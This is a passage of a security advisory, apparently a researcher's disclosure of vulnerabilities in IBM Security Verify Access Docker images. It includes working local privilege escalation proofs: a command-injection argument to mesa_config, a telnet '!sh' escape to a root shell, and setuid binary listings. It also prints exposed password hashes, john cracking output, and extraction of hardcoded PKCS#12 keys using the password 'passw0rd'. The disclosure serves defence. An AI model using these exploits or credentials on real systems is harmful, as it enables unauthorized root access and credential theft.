[--justdb] [--nodeps] [--nofiledigest] [--nocontexts] [--nocaps] [--noorder] [--noscripts] [--notriggers] [--oldpackage] [--percent]\n [--prefix=\u003cdir\u003e] [--relocate=\u003cold\u003e=\u003cnew\u003e] [--replacefiles] [--replacepkgs] [--test] [-U|--upgrade=\u003cpackagefile\u003e+] [--reinstall=\u003cpackagefile\u003e+] [-D|--define=\u0027MACRO EXPR\u0027] [--undefine=MACRO] [-E|--eval=\u0027EXPR\u0027]\n [--target=CPU-VENDOR-OS] [--macros=\u003cFILE:...\u003e] [--noplugins] [--nodigest] [--nosignature] [--rcfile=\u003cFILE:...\u003e] [-r|--root=ROOT] [--dbpath=DIRECTORY] [--querytags] [--showrc] [--quiet] [-v|--verbose]\n [--version] [-?|--help] [--usage] [--scripts] [--setperms] [--setugids] [--setcaps] [--restore] [--conflicts] [--obsoletes] [--provides] [--requires] [--recommends] [--suggests] [--supplements]\n [--enhances] [--info] [--changelog] [--changes] [--xml] [--triggers] [--filetriggers] [--last] [--dupes] [--filesbypkg] [--fileclass] [--filecolor] [--fileprovide] [--filerequire] [--filecaps]\n [isam@verify-access /]$\n\nAn attacker can run rpm as root to add or remove any package in the system, providing a full root access. \n\n\n\n## Details - Insecure setuid binaries and multiple Local Privilege Escalation in IBM codes\n\nIt was observed that the official IBM Docker ibmcom/verify-access image contains several binaries with incorrect permissions (`4755` - suid bit, with `root:root` or `root:ivmgr` as ownership) allowing any local user to run these programs as root: \n\n- - /opt/PolicyDirector/bin/pdmgrd\n- - /opt/pdweb/bin/webseald\n- - /usr/bin/rpm\n- - /usr/sbin/slapd\n- - /usr/sbin/mesa_config\n- - /usr/sbin/mesa_cli\n- - /usr/sbin/mesa_control\n- - /usr/sbin/mesa_lcd\n- - /usr/sbin/mesa_stats\n\nBinaries with the suid bit:\n\n [isam@verify-access]$ ls -la /usr/sbin/slapd\n -rwsr-sr-x 1 root ivmgr 1916768 Jun 8 13:30 /usr/sbin/slapd\n [isam@verify-access]$ ls -la /usr/sbin/mesa_lcd\n -rwsr-xr-x 1 root root 57240 Jun 8 13:29 /usr/sbin/mesa_lcd\n [isam@verify-access]$ ls -la /usr/sbin/mesa_control\n -rwsr-xr-x 1 root root 98448 Jun 8 13:29 /usr/sbin/mesa_control\n [isam@verify-access]$ ls -la /usr/sbin/mesa_config\n -rwsr-sr-x 1 root root 2975680 Jun 8 13:29 /usr/sbin/mesa_config\n [isam@verify-access]$ ls -la /usr/sbin/mesa_stats\n -rwsr-xr-x 1 root root 11176 Jun 8 13:13 /usr/sbin/mesa_stats\n [isam@verify-access]$ ls -la /usr/sbin/mesa_cli\n -rwsr-xr-x 1 root root 436160 Jun 8 13:29 /usr/sbin/mesa_cli\n [isam@verify-access]$ ls -la /usr/bin/rpm\n -rwsr-sr-x 1 root root 21336 Apr 6 02:38 /usr/bin/rpm\n [isam@verify-access]$ ls -la /opt/PolicyDirector/bin/pdmgrd\n -r-sr-sr-x 1 root ivmgr 32040 Jun 8 13:30 /opt/PolicyDirector/bin/pdmgrd\n [isam@verify-access]$ ls -la /opt/pdweb/bin/webseald\n -r-sr-s--- 1 root ivmgr 29296 Jun 8 13:30 /opt/pdweb/bin/webseald\n [isam@verify-access]$ ls -la /opt/dsc/bin/dscd\n -r-sr-s--- 1 ivmgr ivmgr 24264 Jun 8 13:30 /opt/dsc/bin/dscd\n\nFour trivial Local Privilege Escalations were found using the suid bit. Some additional LPEs may also exist in these programs. Trivial LPEs can be found everywhere in the mesa_* programs. \n\nAn attacker can get Local Privilege Escalations as root inside instances based on the ibmcom/verify-access image. \n\nThe code of `mesa_*` programs contains several trivial vulnerabilities due to the use of the `MesaSystem` function (and its derivatives) found in the `libwsmesa.so` library. This function is an insecure wrapper to the `execv()` function using the arguments `/bin/sh -c` and attacker-controlled values. The use of `/bin/sh -c` allows command injections. \n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\n\n\n## Details - Local Privilege Escalation using mesa_config - import of a new snapshot\n\nThe `mesa_config` program allows importing a new snapshot. This allows an attacker to get a Local Privilege Escalation as root by importing a new snapshot:\n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\nThe function `MainApplySnapshot` will install the new malicious snapshot as root:\n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\n\n\n## Details - Local Privilege Escalation using mesa_config - command injections\n\nExploiting the `fips_zeroize_files` option in the `mesa_config` program will provide a root access. \n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\nThe following PoC will provide root privileges inside the current instance:\n\n [isam@verify-access /]$ id\n uid=6000(isam) gid=0(root) groups=0(root),55(ldap),1000(ivmgr),1007(pgresql),1009(tivoli),5000(www-data)\n [isam@verify-access /]$ cat /tmp/test.sh \n #!/bin/sh\n id \u003e /tmp/id-2\n \n [isam@verify-access /]$ ls -la /tmp/id-2\n ls: cannot access \u0027/tmp/id-2\u0027: No such file or directory\n [isam@verify-access /]$ /usr/sbin/mesa_config fips_zeroize_files \"AAAAAAAAAAAAAAAAAAAAAAAA;/tmp/test.sh\"\n [isam@verify-access /]$ ls -la /tmp/id-2\n -rw-rw-r-- 1 root root 102 Oct 13 21:32 /tmp/id-2\n [isam@verify-access /]$ cat /tmp/id-2\n uid=0(root) gid=0(root) groups=0(root),55(ldap),1000(ivmgr),1007(pgresql),1009(tivoli),5000(www-data)\n [isam@verify-access /]$\n\n\n\n## Details - Local Privilege Escalation using mesa_cli - import of a new snapshot\n\nThe main_cli program is also vulnerable to LPE. This tool allows managing the instance from any user:\n\n [isam@verify-access]$ mesa_cli\n Welcome to the IBM Security Verify Access appliance\n Enter \"help\" for a list of available commands\n verify-access\u003e help\n Current mode commands:\n diagnostics Work with the IBM Security Verify Access diagnostics. \n extensions List and remove extensions installed on the appliance. \n fips View FIPS 140-2 state and events. \n fixpacks Work with fix packs. \n isam Work with the IBM Security Verify Access settings. \n license Work with licenses. \n lmi Work with the local management interface. \n lmt Work with the license metric tool. \n management Work with management settings. \n pending_changes Work with the IBM Security Verify Access pending\n changes. \n snapshots Work with policy snapshot files. \n support Work with support information files. \n tools Work with network diagnostic tools. \n Global commands:\n back Return to the previous command mode. \n exit Log off from the appliance. \n help Display information for using the specified command. \n reload Reload the container configuration. \n shutdown End system operation and turn off the power. \n state Display the current state of the container. \n top Return to the top level. \n verify-access\u003e snapshots\n verify-access:snapshots\u003e help\n Current mode commands:\n apply Apply a policy snapshot file to the system. \n create Create a snapshot of current policy files. \n delete Delete a policy snapshot file. \n get_comment View the comment associated with a policy snapshot file. \n list List the policy snapshot files. \n set_comment Replace the comment associated with a policy snapshot\n file. \n Global commands:\n back Return to the previous command mode. \n exit Log off from the appliance. \n help Display information for using the specified command. \n reload Reload the container configuration. \n shutdown End system operation and turn off the power. \n state Display the current state of the container. \n top Return to the top level. \n verify-access:snapshots\u003e exit\n [isam@verify-access /]$\n\nThe `apply` command inside the snapshots menu allows an attacker to install a new malicious snapshot as root and get a Local Privilege Escalation. \n\n\n\n## Details - Local Privilege Escalation using mesa_cli - telnet escape shell\n\nAnother LPE was found using the telnet client available within `mesa_cli`: it is possible to escape the telnet client using the `^]` keys and get a shell as root:\n\n [isam@verify-access /]$ id\n uid=6000(isam) gid=0(root) groups=0(root),55(ldap),1000(ivmgr),1007(pgresql),1009(tivoli),5000(www-data)\n [isam@verify-access /]$ mesa_cli\n Welcome to the IBM Security Verify Access appliance\n Enter \"help\" for a list of available commands\n verify-access\u003e tools\n verify-access:tools\u003e telnet test-server01.lan 22\n Trying 10.0.0.14... \n Connected to test-server01.lan. \n Escape character is \u0027^]\u0027. \n SSH-2.0-OpenSSH_8.0\n ^]\n telnet\u003e !sh\n sh-4.4# id\n uid=0(root) gid=0(root) groups=0(root),55(ldap),1000(ivmgr),1007(pgresql),1009(tivoli),5000(www-data)\n sh-4.4# touch /tmp/pwned-root\n sh-4.4# exit\n exit\n ^]\n telnet\u003e q\n Connection closed. \n verify-access:tools\u003e exit\n [isam@verify-access /]$ ls -la /tmp/pwned-root\n -rw-r--r-- 1 root root 0 Oct 13 22:21 /tmp/pwned-root\n [isam@verify-access /]$\n\nThe `sub_410330` function will `execv()` telnet through the `MesaSpawn` function:\n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\n\n\n## Details - Outdated OpenSSL\n\nIt was observed that all the official IBM Docker images (ibmcom/verify-access-runtime, ibmcom/verify-access-wrp, ibmcom/verify-access and ibmcom/verify-access-dsc) contain the outdated OpenSSL package openssl-1.1.1k-6.el8_5.x86_64. This package contains several vulnerabilities that were patched in August 2022. \n\nAt the time of the analysis (28 October 2022), these vulnerabilities were patched by Red Hat but the official IBM Docker images were still vulnerable. \n\nAnalysis of the libssl.so.1.1.1k files found in the 4 Docker images:\n\n kali-docker# sha256sum **/libssl.so.1.1.1k \n 2a92ce36e25daa330efd6f68bdd3116968a721218e446f2d5c1f73e3404acf10 _verify-access-dsc.tar/1ca1ca276c7e33ace0fc60a47ce408d95c591a7b5d68a12688d24578c82cadff/usr/lib64/libssl.so.1.1.1k\n 2a92ce36e25daa330efd6f68bdd3116968a721218e446f2d5c1f73e3404acf10 _verify-access-runtime.tar/1ca1ca276c7e33ace0fc60a47ce408d95c591a7b5d68a12688d24578c82cadff/usr/lib64/libssl.so.1.1.1k\n 2a92ce36e25daa330efd6f68bdd3116968a721218e446f2d5c1f73e3404acf10 _verify-access.tar/fc59d355e611a66e66497ba02cb950853718131f53c526f83d59de4cacd888f3/usr/lib64/libssl.so.1.1.1k\n 2a92ce36e25daa330efd6f68bdd3116968a721218e446f2d5c1f73e3404acf10 _verify-access-wrp.tar/1ca1ca276c7e33ace0fc60a47ce408d95c591a7b5d68a12688d24578c82cadff/usr/lib64/libssl.so.1.1.1k\n \n kali-docker# strings ./_verify-access.tar/fc59d355e611a66e66497ba02cb950853718131f53c526f83d59de4cacd888f3/usr/lib64/libssl.so.1.1.1k|grep 1.1.1\n OPENSSL_1_1_1\n OPENSSL_1_1_1a\n OpenSSL 1.1.1k FIPS 25 Mar 2021\n libssl.so.1.1.1k-1.1.1k-6.el8_5.x86_64.debug\n\nWe can confirm the OpenSSL version is provided by the package libssl.so.1.1.1k-1.1.1k-6.el8_5.x86_64. \n\nThe security announcement from Redhat patching vulnerabilities in the version libssl.so.1.1.1k-1.1.1k-6.el8_5.x86_64 is RHSA-2022:5818-01 (https://access.redhat.com/errata/RHSA-2022:5818). \n\nThe packages patching the vulnerabilities are:\n\n- - openssl-1.1.1k-7.el8_6.x86_64.rpm\n- - openssl-debuginfo-1.1.1k-7.el8_6.i686.rpm\n- - [...]\n\nWith access to live systems, we can confirm that the patches have not been applied and the systems are still vulnerable:\n\n [root@container-01]# podman ps\n CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\n 413823e2f7d1 ibmcom/verify-access/10.0.4.0:20220926.6 4 hours ago Up 4 hours ago (healthy) 0.0.0.0:7443-\u003e9443/tcp verify-access\n a2142514d831 ibmcom/verify-access-runtime/10.0.4.0:20220926.6 4 hours ago Up 4 hours ago (healthy) 0.0.0.0:9443-\u003e9443/tcp verify-access-runtime\n e0c55b6440cf ibmcom/verify-access-dsc/10.0.4.0:20220926.6 4 hours ago Up 4 hours ago (healthy) 0.0.0.0:8443-8444-\u003e8443-8444/tcp verify-access-dsc\n [root@container-01]# for i in 413823e2f7d1 a2142514d831 e0c55b6440cf; do podman exec -it $i bash -c \u0027rpm -qa|grep -i openssl\u0027;echo;done\n openssl-1.1.1k-6.el8_5.x86_64\n openssl-libs-1.1.1k-6.el8_5.x86_64\n apr-util-openssl-1.6.1-6.el8.x86_64\n \n openssl-libs-1.1.1k-6.el8_5.x86_64\n \n openssl-libs-1.1.1k-6.el8_5.x86_64\n openssl-1.1.1k-6.el8_5.x86_64\n\n\nThe official Docker images contain known vulnerabilities. \n\n\n\n## Details - PermitRootLogin set to yes\n\nIt was observed that the configuration file `/etc/sysconfig/sshd-permitrootlogin` will allow the connection from root in the Docker images:\n\n kali-docker# find . | grep sshd-permitrootlogin\n ./_verify-access.tar/fc59d355e611a66e66497ba02cb950853718131f53c526f83d59de4cacd888f3/etc/sysconfig/sshd-permitrootlogin\n ./_verify-access-dsc.tar/1ca1ca276c7e33ace0fc60a47ce408d95c591a7b5d68a12688d24578c82cadff/etc/sysconfig/sshd-permitrootlogin\n ./_verify-access-runtime.tar/1ca1ca276c7e33ace0fc60a47ce408d95c591a7b5d68a12688d24578c82cadff/etc/sysconfig/sshd-permitrootlogin\n ./_verify-access-wrp.tar/1ca1ca276c7e33ace0fc60a47ce408d95c591a7b5d68a12688d24578c82cadff/etc/sysconfig/sshd-permitrootlogin\n kali-docker# cat */*/etc/sysconfig/sshd-permitrootlogin\n # This file has been generated by the Anaconda Installer. \n # Allow root to log in using ssh. Remove this file to opt-out. \n PERMITROOTLOGIN=\"-oPermitRootLogin=yes\"\n # This file has been generated by the Anaconda Installer. \n # Allow root to log in using ssh. Remove this file to opt-out. \n PERMITROOTLOGIN=\"-oPermitRootLogin=yes\"\n # This file has been generated by the Anaconda Installer. \n # Allow root to log in using ssh. Remove this file to opt-out. \n PERMITROOTLOGIN=\"-oPermitRootLogin=yes\"\n # This file has been generated by the Anaconda Installer. \n # Allow root to log in using ssh. Remove this file to opt-out. \n PERMITROOTLOGIN=\"-oPermitRootLogin=yes\"\n\nIf a SSH server was installed inside the instances, it would be then possible to login as root. \n\n\n\n## Details - Lack of password for the `cluster` user\n\nIt was observed that the `cluster` user in the Docker image verify-access does not have a password defined in the `/etc/shadow` file:\n\n kali-docker# cat _verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/etc/passwd | grep cluster\n cluster:x:5003:1006::/home/cluster:/usr/sbin/wga_clustersh\n \n kali-docker# cat _verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/etc/shadow | grep cluster \n cluster::19151:0:99999:7:::\n \n kali-docker# john --show _verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/etc/shadow \n admin:admin:19151:0:99999:7:::\n cluster:NO PASSWORD:19151:0:99999:7:::\n \n 2 password hashes cracked, 0 left\n\n\nIn the live environment, it was confirmed that the user `cluster` does not have a password in the `verify-access` instance:\n\n [root@test-server 5ecd09e2d7bb10f3bec5b6be4c2298d6bdb54b70a75ce67944651b6b5330821e]# cat ./merged/etc/shadow | grep cluster\n cluster::19151:0:99999:7:::\n\nIf a SSH server was installed inside the instances, it would be then possible to login as cluster without a password. \n\nA user with a local access can get `cluster` privileges. \n\n\n\n## Details - Non-standard way of storing hashes and world-readable files containing hashes\n\nIt was observed that passwords are saved in 3 non-standard files in the Docker image verify-access:\n\n- - `/etc/shadow.isam`\n- - `/etc/admin.pwd`\n- - `/etc/wga_notifications.conf`\n\nFurthermore, the `/etc/shadow.isam` and `/etc/wga_notifications.conf` files are world-readable. \n\nWhen extracting verify-access, we can find the `/etc/shadow.isam` file:\n\n kali-docker# cat ./698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/etc/shadow.isam\n admin:$6$weihWRw2JbThkJd0$t.Q3XdwZw/KYTCa35T3w/otmRG4R7jlrVguBt8BrR4bEUbf5/OHJrifnpJg.p2WBOPM43gj6IGb2ZNyzDjbeS.:19151:0:99999:7:::\n www-data:*:14251:0:99999:7:::\n ivmgr:!!:19151:0:99999:7:::\n cluster::19151:0:99999:7:::\n pgresql:!!:19151:0:99999:7:::\n nfast:!!:19151:0:99999:7:::\n tivoli:!!:19151:0:99999:7:::\n\nWhen checking on the live system (verify-access), we can find these 3 previous files, 2 of which are world-readable:\n\n [root@container-01]# podman ps | grep 413823e2f7d1\n 413823e2f7d1 ibmcom/verify-access/10.0.4.0:20220926.6 7 hours ago Up 7 hours ago (healthy) 0.0.0.0:7443-\u003e9443/tcp verify-access\n [root@container-01]#\n \n [root@container-01]# podman ps|grep 413823e2f7d1\n 413823e2f7d1 ibmcom/verify-access/verify-access/10.0.4.0:20220926.6 25 hours ago Up 25 hours ago (healthy) 0.0.0.0:7443-\u003e9443/tcp verify-access\n [root@container-01]# podman exec -it 413823e2f7d1 ls -la /etc/wga_notifications.conf /etc/shadow.isam /etc/admin.pwd\n -rw-rw---- 1 root root 344 Sep 26 15:31 /etc/admin.pwd\n -rw-r--r-- 1 root root 305 Jun 8 13:43 /etc/shadow.isam\n -rw-rw-r-- 1 root root 883 Sep 26 15:40 /etc/wga_notifications.conf\n [root@container-01]#\n\nFurthermore, we can extract passwords from these files. The hash in `/etc/shadow.isam` seems to be hardcoded (`admin`):\n\n [root@container-01]# podman exec -it 413823e2f7d1 cat /etc/shadow.isam\n admin:$6$weihWRw2JbThkJd0$t.Q3XdwZw/KYTCa35T3w/otmRG4R7jlrVguBt8BrR4bEUbf5/OHJrifnpJg.p2WBOPM43gj6IGb2ZNyzDjbeS.:19151:0:99999:7:::\n www-data:*:14251:0:99999:7:::\n ivmgr:!!:19151:0:99999:7:::\n cluster::19151:0:99999:7:::\n pgresql:!!:19151:0:99999:7:::\n nfast:!!:19151:0:99999:7:::\n tivoli:!!:19151:0:99999:7:::\n \n [root@container-01]# podman exec -it 413823e2f7d1 ls -la /etc/admin.pwd\n -rw-rw---- 1 root root 344 Sep 26 15:31 /etc/admin.pwd\n [root@container-01]# podman exec -it 413823e2f7d1 cat /etc/admin.pwd\n [REDACTED]\n \n [root@container-01]# podman exec -it 413823e2f7d1 ls -la /etc/wga_notifications.conf\n -rw-rw-r-- 1 root root 883 Sep 26 15:40 /etc/wga_notifications.conf\n [root@container-01]# podman exec -it 413823e2f7d1 cat /etc/wga_notifications.conf\n [...]\n sam_cluster.hvdb.driver_type = thin\n isam_cluster.hvdb.embedded = false\n isam_cluster.hvdb.port = 1536\n isam_cluster.hvdb.pwd = [REDACTED]\n isam_cluster.hvdb.secure = false\n [...]\n\n\nA local attacker can extract hashes from world-readable files and elevate its privileges. \n\nThe use of `/etc/shadow.isam` is unknown. \n\n\n\n## Details - Hardcoded PKCS#12 files\n\nIt was observed the Docker image verify-access contains hardcoded PKCS#12 files:\n\n- - /var/isam/cluster/sundry/odbc/ewallet.p12\n- - /var/pdweb/shared/keytab/lmi_trust_store.p12\n- - /var/pdweb/shared/keytab/embedded_ldap_keys.p12\n- - /var/pdweb/shared/keytab/rt_profile_keys.p12\n\nThe `/var/isam/cluster/sundry/odbc/ewallet.p12` file can be found inside the verify-access image:\n\n kali-docker# ls -la ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/isam/cluster/sundry/odbc/ewallet.p12\n -rw-r--r-- 1 5000 5000 736 Jun 8 01:32 ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/isam/cluster/sundry/odbc/ewallet.p12\n \n kali-docker# sha256sum ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/isam/cluster/sundry/odbc/ewallet.p12\n 687614048adb7877b7405a1d7f50c3717d832e0f1c822793507b99666d13acd5 ./_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/isam/cluster/sundry/odbc/ewallet.p12\n\nWhen checking on the live system (verify-access), we can find this unchanged file:\n\n [root@container-01]# podman ps | grep 413823e2f7d1\n 413823e2f7d1 ibmcom/verify-access/10.0.4.0:20220926.6 26 hours ago Up 26 hours ago (healthy) 0.0.0.0:7443-\u003e9443/tcp verify-access\n [root@container-01]# podman exec -it 413823e2f7d1 ls -la /var/isam/cluster/sundry/odbc/\n total 16\n drwxr-xr-x 2 www-data www-data 4096 Jun 8 13:43 . \n drwxr-xr-x 3 cluster cluster 4096 Jun 8 13:43 .. \n -rw-r--r-- 1 www-data www-data 781 Jun 8 13:32 cwallet.sso\n -rw-r--r-- 1 www-data www-data 0 Jun 8 13:32 cwallet.sso.lck\n -rw-r--r-- 1 www-data www-data 736 Jun 8 13:32 ewallet.p12\n -rw-r--r-- 1 www-data www-data 0 Jun 8 13:32 ewallet.p12.lck\n [root@container-01]# podman exec -it 413823e2f7d1 sha256sum /var/isam/cluster/sundry/odbc/ewallet.p12\n 687614048adb7877b7405a1d7f50c3717d832e0f1c822793507b99666d13acd5 /var/isam/cluster/sundry/odbc/ewallet.p12\n [root@container-01]#\n\nThis file is used by several programs, with a trivial password (`passw0rd`) to encrypt it:\n\nAssembly code of the function `authorSqlFuseFiles` found inside `mesa_config`, used to extract ewallet.p12:\n\n[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]\n\nExtraction using OpenSSL:\n\n kali-docker# openssl pkcs12 -in ibmcom/_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/isam/cluster/sundry/odbc/ewallet.p12 -out /tmp/ewallet.test \n Enter Import Password: [passw0rd]\n kali-docker# cat /tmp/ewallet.test\n Bag Attributes\n localKeyID: E6 B6 52 DD 00 00 00 04 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 04 \n subject=C = us, O = ibm, CN = rhel66.home.com\n issuer=C = us, O = ibm, CN = rhel66.home.com\n -----BEGIN CERTIFICATE-----\n MIIB2TCCAUICAQAwDQYJKoZIhvcNAQEEBQAwNTELMAkGA1UEBhMCdXMxDDAKBgNV\n BAoTA2libTEYMBYGA1UEAxMPcmhlbDY2LmhvbWUuY29tMB4XDTE2MDYwNDE4MjAx\n N1oXDTI2MDYwMjE4MjAxN1owNTELMAkGA1UEBhMCdXMxDDAKBgNVBAoTA2libTEY\n MBYGA1UEAxMPcmhlbDY2LmhvbWUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCB\n iQKBgQC5awQOrQ/BlLYQ1dC0+e2NplzULT447UNrj8yaPqH0FeoqgLH29FzpVJV1\n IWzN06IGSUEeyAck7u7EUg1BK3eyfwO3o1qolrvRkm4Rsvg+yijUIr2aSV0Xz9oR\n 71C+YMHr1MtGi6Xn432+vPSc2AxQVBKCVj0rBGka6V9mwWDPewIDAQABMA0GCSqG\n SIb3DQEBBAUAA4GBAF9QlpGUC9QcxgI0B77xY0/2bNd3xBfS+hTbgyyoWRzH43so\n 1VG97F6g0rR6wvsAOTdr7kJn+t7sMyuhdJ2/TmZFATUL+6j9XpJH+7r+Ca4iIMB+\n ysi09PVz6ccrsgpD9SiYxQ4HMJ+YKBahPg3geEUIkratxB69qZy0uP5WSp64\n -----END CERTIFICATE-----\n kali-docker# openssl x509 -in /tmp/ewallet.test -text -noout \n Certificate:\n Data:\n Version: 1 (0x0)\n Serial Number: 0 (0x0)\n Signature Algorithm: md5WithRSAEncryption\n Issuer: C = us, O = ibm, CN = rhel66.home.com\n Validity\n Not Before: Jun 4 18:20:17 2016 GMT\n Not After : Jun 2 18:20:17 2026 GMT\n Subject: C = us, O = ibm, CN = rhel66.home.com\n Subject Public Key Info:\n Public Key Algorithm: rsaEncryption\n Public-Key: (1024 bit)\n Modulus:\n 00:b9:6b:04:0e:ad:0f:c1:94:b6:10:d5:d0:b4:f9:\n ed:8d:a6:5c:d4:2d:3e:38:ed:43:6b:8f:cc:9a:3e:\n a1:f4:15:ea:2a:80:b1:f6:f4:5c:e9:54:95:75:21:\n 6c:cd:d3:a2:06:49:41:1e:c8:07:24:ee:ee:c4:52:\n 0d:41:2b:77:b2:7f:03:b7:a3:5a:a8:96:bb:d1:92:\n 6e:11:b2:f8:3e:ca:28:d4:22:bd:9a:49:5d:17:cf:\n da:11:ef:50:be:60:c1:eb:d4:cb:46:8b:a5:e7:e3:\n 7d:be:bc:f4:9c:d8:0c:50:54:12:82:56:3d:2b:04:\n 69:1a:e9:5f:66:c1:60:cf:7b\n Exponent: 65537 (0x10001)\n Signature Algorithm: md5WithRSAEncryption\n Signature Value:\n 5f:50:96:91:94:0b:d4:1c:c6:02:34:07:be:f1:63:4f:f6:6c:\n d7:77:c4:17:d2:fa:14:db:83:2c:a8:59:1c:c7:e3:7b:28:d5:\n 51:bd:ec:5e:a0:d2:b4:7a:c2:fb:00:39:37:6b:ee:42:67:fa:\n de:ec:33:2b:a1:74:9d:bf:4e:66:45:01:35:0b:fb:a8:fd:5e:\n 92:47:fb:ba:fe:09:ae:22:20:c0:7e:ca:c8:b4:f4:f5:73:e9:\n c7:2b:b2:0a:43:f5:28:98:c5:0e:07:30:9f:98:28:16:a1:3e:\n 0d:e0:78:45:08:92:b6:ad:c4:1e:bd:a9:9c:b4:b8:fe:56:4a:\n 9e:b8\n\nThe other files have been decrypted using `IBM Crypto For C` and OpenSSL. \n\nThe `lmi_trust_store.p12` file in the verify-access image contains several CAs and will also include the hardcoded key for the `Isam CA` in a live instance (after configuration):\n\n kali-docker# file=ibmcom/_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/var/pdweb/shared/keytab/lmi_trust_store.p12\n kali-docker# LD_LIBRARY_PATH=/home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/local/ibm/gsk8_64/lib64/ /home/user/ibmcom/_verify-access-dsc.tar/2367f4ea9084713497b97a1fdbd68e6b3845d86537a89f1d6217eb545e8a0865/usr/local/ibm/gsk8_64/bin/gsk8capicmd_64 -cert -export -db $file -stashed -target /tmp/tmp.p12 -target_pw passwordpassword\n \n kali-docker# openssl pkcs12 -in /tmp/tmp.p12 -info -passin pass:passwordpassword\n MAC: sha1, Iteration 1024\n MAC length: 20, salt length: 8\n PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1024\n Certificate bag\n Bag Attributes\n friendlyName: CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US\n localKeyID: 03 82 01 01 00 CB 9C 37 AA 48 13 12 0A FA DD 44 9C 4F 52 B0 F4 DF AE 04 F5 79 79 08 A3 24 18 FC 4B 2B 84 C0 2D B9 D5 C7 FE F4 C1 1F 58 CB B8 6D 9C 7A 74 E7 98 29 AB 11 B5 E3 70 A0 A1 CD 4C 88 99 93 8C 91 70 E2 AB 0F 1C BE 93 A9 FF 63 D5 E4 07 60 D3 A3 BF 9D 5B 09 F1 D5 8E E3 53 F4 8E 63 FA 3F A7 DB B4 66 DF 62 66 D6 D1 6E 41 8D F2 2D B5 EA 77 4A 9F 9D 58 E2 2B 59 C0 40 23 ED 2D 28 82 45 3E 79 54 92 26 98 E0 80 48 A8 37 EF F0 D6 79 60 16 DE AC E8 0E CD 6E AC 44 17 38 2F 49 DA E1 45 3E 2A B9 36 53 CF 3A 50 06 F7 2E E8 C4 57 49 6C 61 21 18 D5 04 AD 78 3C 2C 3A 80 6B A7 EB AF 15 14 E9 D8 89 C1 B9 38 6C E2 91 6C 8A FF 64 B9 77 25 57 30 C0 1B 24 A3 E1 DC E9 DF 47 7C B5 B4 24 08 05 30 EC 2D BD 0B BF 45 BF 50 B9 A9 F3 EB 98 01 12 AD C8 88 C6 98 34 5F 8D 0A 3C C6 E9 D5 95 95 6D DE \n 2.16.840.1.113894.746875.1.1: \u003cUnsupported tag 6\u003e\n subject=C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert Global Root CA\n issuer=C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert Global Root CA\n -----BEGIN CERTIFICATE-----\n MIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBh\n MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3\n d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBD\n QTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAwMDAwMDBaMGExCzAJBgNVBAYTAlVT\n MRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j\n b20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkqhkiG\n 9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsB\n CSDMAZOnTjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97\n nh6Vfe63SKMI2tavegw5BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt\n 43C/dxC//AH2hdmoRBBYMql1GNXRor5H4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7P\n T19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y7vrTC0LUq7dBMtoM1O/4\n gdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQABo2MwYTAO\n BgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbR\n TLtm8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUw\n DQYJKoZIhvcNAQEFBQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/Esr\n 